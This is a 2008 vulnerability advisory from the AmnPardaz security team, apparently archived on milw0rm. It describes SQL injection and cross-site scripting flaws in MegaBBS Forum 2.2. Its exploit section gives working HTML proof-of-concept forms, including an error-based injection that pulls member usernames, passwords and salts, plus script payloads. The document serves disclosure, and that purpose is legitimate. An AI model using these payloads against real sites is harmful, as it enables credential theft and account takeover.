Megabbs Forum 2.2 - SQL Injection / Cross-Site Scripting

########################## www.BugReport.ir #######################################
#
#      AmnPardaz Security Research Team
#
# Title: MegaBBS Forum Multiple Vulnerabilities.
# Vendor: http://www.pd9soft.com/
# Vulnerable Version: 2.2
# Exploit: Available
# Impact: Medium
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/37
###################################################################################


####################
1. Description:
####################
A complete, fully featured ASP website system. Includes an extremely powerful forum, calendars, polls, and photo albums. Best of all, it's completely free! Find out why MegaBBS is one of the fastest growing ASP messaging portals available today.

####################
2. Vulnerability:
####################
    2.1. There is a SQL Injection in "/forums/attach-file.asp" in "attachmentid" parameter.
        2.1.1. POC:
                Check the Exploit/POC section.
    2.3. There is a XSS in "/admin/impersonate.asp".
        2.3.1. POC:
                /admin/impersonate.asp?redirect=javascript:alert('XSS')&action=end
    2.2. There is a SQL Injection in "/profile/controlpanel.asp" in "invisible" and "timeoffset" parameters.
        2.2.1. POC:
                Check the Exploit/POC section.
    2.4. There is a XSS in "send-private-message.asp". This XSS needs authentication.
        2.4.1. POC:
                Check the Exploit/POC section.
####################
3. Exploits/POC:
####################

 Original Exploit URL: http://bugreport.ir/index.php?/37/exploit

    3.1. "/forums/attach-file.asp" SQL Inection POC:
     -------------
        <form ENCTYPE="multipart/form-data" method="post" action="http://[Site URL]/forums/attach-file.asp?action=postupload&mid=[YOUR MSG ID]&attachmentid=1 or 1=convert(int,(select top 1 username%2bpassword%2bsalt from members where username<>''))">
        File : <input type='file' name='attachment' size='40'>
        <br />
        <input type='submit' value='Submit'>
        </form>
    -------------
    3.2. "/profile/controlpanel.asp" SQL Injection POC:
    -------------
        <form method='post' name='updateprofile' action='http://[Site URL]/profile/controlpanel.asp'>
        Injection1 (Numeric Update):<input type="text" name="invisible" value="1" />
        <br />
        Injection2 (Numeric Update):<input type="text" name="timeoffset" value="1" />
        <br />
        <input type="hidden" name="action" value="updateinfo" />
        <input type="hidden" name="showemail" value="1" />
        <input type="hidden" name="usesignature" value="1" />
        <input type="hidden" name="viewsignature" value="1" />
        <input type="hidden" name="disablepostcount" value="1" />
        <input type="hidden" name="userichedit" value="1" />
        <input type="hidden" name="emailnotifications" value="1" />
        <input type="hidden" name="sendprivatenotifications" value="1" />
        <input type="hidden" name="includebody" value="1" />
        <input type="hidden" name="language" value="1" />
        <input type="hidden" name="disallowbroadcasts" value="1" />
        <input type="hidden" name="viewavatars" value="1" />
        <input type="submit" />
        </form>
    -------------
    3.3. "send-private-message.asp" XSS POC:
    -------------
        <form action="http://[Site URL]/send-private-message.asp" method="post">
        <input type="hidden" name="action" value="post" />
        <input type="text" name="toid" value="<script>alert('XSS')</script>" />
        <br />
        <input type="submit" name="" value="submit" />
        </form>
    -------------

####################
4. Solution:
####################
    Edit the source code to ensure that inputs are properly sanitised.
####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-04-27]